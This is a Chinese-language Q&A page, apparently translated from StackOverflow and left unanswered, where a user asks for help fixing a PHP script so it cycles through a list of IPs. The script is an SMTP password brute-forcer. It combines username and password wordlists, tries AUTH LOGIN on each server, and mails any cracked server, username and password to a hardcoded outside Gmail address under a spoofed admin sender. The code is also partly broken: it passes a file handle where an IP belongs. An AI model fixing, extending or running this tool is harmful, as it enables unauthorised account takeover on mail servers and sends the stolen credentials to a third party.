从本地文件读取时出错

时间:2013-12-23 10:25:12

标签: php sockets fopen

如果可行,我会被困住,我需要任何帮助 问题是如果他无法连接到ip,他就会停止..不要从列表ip.file跳到下一个ip。 它应该逐行采用

我不知道该怎么做..

这是我的代码

<?php

error_reporting(0);

$_UserFile = "user.file";
$_PassFile = "pass.file";
$_IpFile = "ip.file";

function S_Server($_server, $_username, $_password) {
    print "[+]Found $_username/$_password on $_server\r\n";

    if(!($_OutFile = fopen("cracked.smtp", "a"))) ExitF ("Cannot open the log file");
    fputs($_OutFile, "[+]Cracked: $_server $_username $_password\r\n");
    fclose($_OutFile);
    exit(0);
}

function ExitF($errmsg) {
    print "[-]" . $errmsg . "\r\n";
    exit(0);
}

function CrackSMTP($server, $username, $password) {
    $socket = fsockopen($server, 25, $errno, $errstr, 2);

    if (!$socket) ExitF ("SOCKET ERROR!");

    stream_set_timeout($socket, 2);
    $_SockResult = fgets($socket, 512);

    if (substr(trim($_SockResult), 0, 3) != "220") ExitF ("220 Error");

    fputs($socket, "EHLO USER\r\n");

    $_SockResult = fgets($socket, 512);
    while(substr(trim($_SockResult), 0, 4) == "250-") $_SockResult = fgets($socket, 512);

    fputs($socket, "AUTH LOGIN\r\n");

    if (!($_SockResult = fgets($socket, 512))) ExitF ("AUTH LOGIN Error");
    if (substr(trim($_SockResult), 4, 16) != "VXNlcm5hbWU6") ExitF ("RECEIVE USER PROMPT Error");

    $Encrypt_User = base64_encode($username);
    fputs($socket, "$Encrypt_User\r\n");

    if (!($_SockResult = fgets($socket, 512))) ExitF ("SEND USER Error");
    if (substr(trim($_SockResult), 4, 16) != "UGFzc3dvcmQ6") ExitF ("RECEIVE  PASSWORD PROMPT Error");

    $Encrypt_Password = base64_encode($password);
    fputs($socket, "$Encrypt_Password\r\n");

    if (!($_SockResult = fgets($socket, 512))) ExitF ("SEND PASSWORD Error");
    if (substr(trim($_SockResult), 0, 3) != "235") {
            print "$server: $username/$password - INVALID\r\n";
            return "INVALID";
    }

    fputs($socket, "RSET\r\n");
    if (!($_SockResult = fgets($socket, 512))) ExitF ("RSET Error");

    fputs($socket, "MAIL FROM: admin@xoffice.com\r\n");
    if (!($_SockResult = fgets($socket, 512))) ExitF ("MAIL FROM Error");

    fputs($socket, "RCPT TO: aicivinsmtps@gmail.com\r\n");
    if (!($_SockResult = fgets($socket, 512))) ExitF ("RCPT TO Error");

    fputs($socket, "DATA\r\n");
    if (!($_SockResult = fgets($socket, 512))) ExitF ("DATA Error");

    fputs($socket, "Content-Type: text/html\r\n");
    fputs($socket, "SUBJECT: Elite Server $server $username $password\r\n");
    fputs($socket, "FROM: SMTP Admin <admin@xoffice.com>\r\n");
    fputs($socket, "TO: aicivinsmtps@gmail.com\r\n");
    fputs($socket, "\r\n Happy New Year\r\n $server $username $password\r\n.                                                                             \r\n");
    fputs($socket, "QUIT\r\n");

    fclose($socket);

    S_Server ($server, $username, $password);

    exit(0);
}

 if (!($_SRV =  fopen($_IpFile, "r"))) ExitF ("Cannot open the ip file");
if (!($F_UserFile = fopen($_UserFile, "r"))) ExitF ("Cannot open the username file");

$_Var = 0;
$_Counter = 0;

while (!feof($F_UserFile)) {

    $_username = fgets($F_UserFile, 64);
    $username = str_replace("\n", "", $_username);

    if ($username != "") {

            $user[$_Var] = $username;
            $pass[$_Var] = $username;
            $_Var++;
            $_Counter = $_Counter + 1;

            $user[$_Var] = $username;
            $pass[$_Var] = $username . "1";
            $_Var++;
            $_Counter = $_Counter + 1;

            $user[$_Var] = $username;
            $pass[$_Var] = $username . "12";
            $_Var++;
            $_Counter = $_Counter + 1;

            $user[$_Var] = $username;
            $pass[$_Var] = $username . "123";
            $_Var++;
            $_Counter = $_Counter + 1;

            if (!($F_PassFile = fopen($_PassFile, "r"))) ExitF ("Cannot open the password file");

            while (!feof($F_PassFile)) {
                    $user[$_Var] = $username;
                    $pass[$_Var] = fgets($F_PassFile, 64);
                    $pass[$_Var] = str_replace("\n", "", $pass[$_Var]);
                    $_Var++;
                    $_Counter++;
            }

            fclose($F_PassFile);
    }

}

fclose ($F_UserFile);

for ( $_Var = 0; $_Var < $_Counter; $_Var++ ) CrackSMTP($_SRV, $user[$_Var], $pass[$_Var]);

exit(0);
?>

0 个答案:

没有答案